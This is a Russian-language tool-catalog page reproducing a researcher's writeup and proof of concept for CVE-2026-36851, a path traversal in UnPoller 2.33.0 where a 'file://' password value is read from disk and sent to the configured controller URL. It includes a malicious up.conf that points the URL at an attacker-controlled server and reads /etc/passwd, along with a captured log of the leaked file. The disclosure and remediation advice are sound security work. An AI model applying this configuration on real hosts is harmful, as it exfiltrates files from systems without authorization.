Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-36851 — Прохождение и PoC уязвимости обхода пути к файлу (CVE-2026-36851) для UnPoller 2.33.0 | Kitploit
Инструменты/GitHubGitHub/syntaxsaiyan/cve-2026-36851
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСтатьи и ИсследованияОбучение и Образование
GitHubsyntaxsaiyan/cve-2026-36851

CVE-2026-36851

Прохождение и PoC уязвимости обхода пути к файлу (CVE-2026-36851) для UnPoller 2.33.0

Репозиторий
92 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-36851

Обход пути / произвольное чтение файлов в UnPoller v2.33.0 через префикс пароля file://. Содержимое файлов считывается с диска и передаётся на настроенный URL контроллера UniFi во время аутентификации.

CVECVE-2026-36851
ПродуктUnPoller v2.33.0 (предыдущие версии, вероятно, затронуты)
УязвимостьCWE-22 (Обход пути), CWE-20 (Некорректная проверка входных данных)
CVSS 3.17.5 Высокий — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
СообщившийHector Diaz

Краткое описание

UnPoller поддерживает загрузку учётных данных из файла, когда значение конфигурации начинается с file://. Это поведение задокументировано для развёртывания Docker, где операторы хотят хранить пароли вне конфигурационных файлов в открытом виде. Реализация не ограничивает, какой путь может быть прочитан — любой файл, доступный процессу, считается допустимым вводом. Затем это содержимое отправляется по сети в JSON POST на /api/login на тот контроллер, url которого задан в том же конфигурационном файле.

Эта комбинация превращает локальный примитив чтения файлов в канал сетевой эксфильтрации: злоумышленник с правом записи в up.conf может направить url на контролируемый им сервер и многократно сливать конфиденциальные файлы, не имея прямого разрешения на чтение этих файлов.


Предпосылки

Я запускаю UnPoller в своей домашней лаборатории — Docker на Proxmox LXC — для экспорта метрик UniFi в Grafana вместе с остальным стеком. Я просматривал проекты с открытым исходным кодом на предмет распространённых веб-уязвимостей. UnPoller имеет минимальную веб-поверхность, доступную пользователю, поэтому XSS был тупиком. Пример конфигурации — с чего началось открытие:

pass = "file:///path/to/password.file"

Намерение разумное: ссылаться на файл секретов вместо встраивания пароля в up.conf. У меня возник вопрос: проверяет ли UnPoller этот путь или обрабатывает любое значение file:// как буквальный указатель файловой системы.

Просмотр исходного кода в pkg/inputunifi/input.go (и аналогичная обработка в influxunifi, lokiunifi) показывает, что белый список отсутствует. Когда pass или api_key начинаются с file://, префикс удаляется, и os.ReadFile() загружает полное содержимое файла в поле учётных данных, используемое для аутентификации UniFi.


Воздействие

  • Конфиденциальность: Произвольные читаемые файлы на хосте UnPoller могут быть эксфильтрированы — например, /etc/passwd, /proc/version, /etc/hosts, конфигурации приложений и, потенциально, ключевой материал в зависимости от прав процесса.
  • Необходимые условия атаки: Право записи в конфигурацию UnPoller (обычно up.conf). Для запуска чтения после изменения конфигурации не требуются учётные данные UniFi.
  • Почему это важно помимо локального доступа администратора: В сценариях общего хостинга, неправильно настроенного Kubernetes или скомпрометированного sidecar-контейнера субъект с низкими привилегиями может изменить конфигурацию службы, не имея возможности напрямую читать конфиденциальные файлы. Это поведение устраняет этот разрыв, заставляя UnPoller читать файл и передавать его наружу.
  • Не входит в scope: Удалённое выполнение кода, целостность или доступность — это проблема раскрытия информации с чётким путём эксфильтрации.

Доказательство концепции

Протестировано на ghcr.io/unpoller/unpoller:latest (v2.33.0) в Debian-based Proxmox LXC с Docker Compose.

Что не сработало

Установка UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" через переменную окружения не вызвала это поведение в моём развёртывании. Монтируемый конфигурационный файл был фактическим источником истины.

Что сработало

Я отредактировал up.conf, чтобы направить UnPoller на захватывающий сервер, который я контролировал, вместо моего рабочего контроллера UniFi:

[unifi.defaults]
  url = "https://x.x.x.x:8443"
  user = "admin"
  pass = "file:///etc/passwd"

После docker restart unpoller контейнер начал подключаться к моему слушателю на порту 8443 каждые ~30 секунд.

Захват эксфильтрации

Мой первый захватывающий сервер регистрировал HTTP-заголовки и искал учётные данные Authorization: Basic .... UnPoller отправлял запросы POST /api/login без заголовка Authorization — API UniFi ожидает JSON в теле:

{"username": "admin", "password": "..."}

Я обновил слушатель, чтобы читать Content-Length, разбирать тело POST и регистрировать JSON. В течение минуты /etc/passwd появился в поле пароля:

/etc/passwd утёк в теле POST запроса на вход

Выдержка из журнала:

🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'

Тот же шаблон конфигурации сработал для /proc/version (идентификация ядра/сборки):

/proc/version утёк в теле POST запроса на вход

Пример вредоносной конфигурации: poc/up.conf.example


График раскрытия

ДатаСобытие
2026-02-28Обнаружено и подтверждено в домашней лаборатории
2026-03-01Уведомлен разработчик (Discord)
2026-03-02Отправлен запрос CVE в MITRE
2026-06-05CVE-2026-36851 назначен
2026-07-03Опубликован публичный отчёт

Разработчик UnPoller подтвердил, что поведение file:// является преднамеренным удобством для пользователей Docker, и поставил под сомнение возможность эксплуатации без разделения привилегий между редактором конфигурации и пользователем процесса. MITRE назначил идентификатор CVE независимо.


Устранение

Для операторов

  • Относитесь к up.conf и монтируемым конфигурациям как к конфиденциальным; ограничьте доступ на запись.
  • Убедитесь, что UnPoller может связываться только с доверенными конечными точками контроллера UniFi.
  • Предпочтите Docker secrets, Kubernetes secrets или внедрение учётных данных через переменные окружения вместо произвольных путей file:// до тех пор, пока не будет доступно исправление.

Для разработчиков

  • Удалите неограниченную обработку file:// из полей учётных данных или введите строгий белый список путей (например, только в /etc/unpoller/secrets/).
  • Закрывайтесь при сбое, если настроенный файл секретов не может быть прочитан — не подменяйте пароль пустой строкой без уведомления.
  • Документируйте модель угроз, если поддержка учётных данных на основе файлов остаётся.

Ссылки

  • CVE-2026-36851
  • UnPoller
  • CWE-22 · CWE-20

Лицензия

MIT — см. LICENSE. Материалы доказательства концепции в этом репозитории предоставлены только для авторизованных исследований безопасности и обучения. Не используйте против систем, которыми вы не владеете или на которые не имеете явного разрешения на тестирование.


Hector Diaz · LinkedIn · hectordiaz.net

Скачать инструмент